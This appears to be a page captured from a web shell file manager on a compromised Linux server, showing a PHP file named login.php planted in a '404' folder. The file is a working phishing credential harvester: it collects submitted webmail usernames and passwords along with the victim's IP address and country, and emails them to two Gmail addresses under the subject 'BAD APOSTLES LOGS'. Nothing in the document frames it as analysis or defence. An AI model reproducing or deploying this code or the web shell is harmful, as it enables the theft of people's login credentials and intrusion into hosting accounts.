HEX
Server: Apache
System: Linux srv4.garantili.com.tr 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: yenicep (1023)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home2/yenicep/www/404/login.php
<?php
$ip = getenv("REMOTE_ADDR");
$userid = $_POST['userid'];
$password = $_POST['password'];
$adddate= date("D M d, Y g:i a");
$country = visitor_country();
$message .="====================[WebMail LOGS]====================\n";
$message .="Email: $userid\n";
$message .="Password: $password\n";
$message .="IP Address: $ip\n";
$message .="Country: $country\n";
$message .="Date: $adddate\n";
$message .="====================[WebMail LOGS]====================\n";

$subject ="BAD APOSTLES LOGS";

mail("harrisonhardly27@gmail.com,vanlide0811@gmail.com", $subject, $message);

// Function to get Country

function visitor_country()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    $result  = "Unknown";
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));

    if($ip_data && $ip_data->geoplugin_countryName != null)
    {
        $result = $ip_data->geoplugin_countryName;
    }

    return $result;
}

?>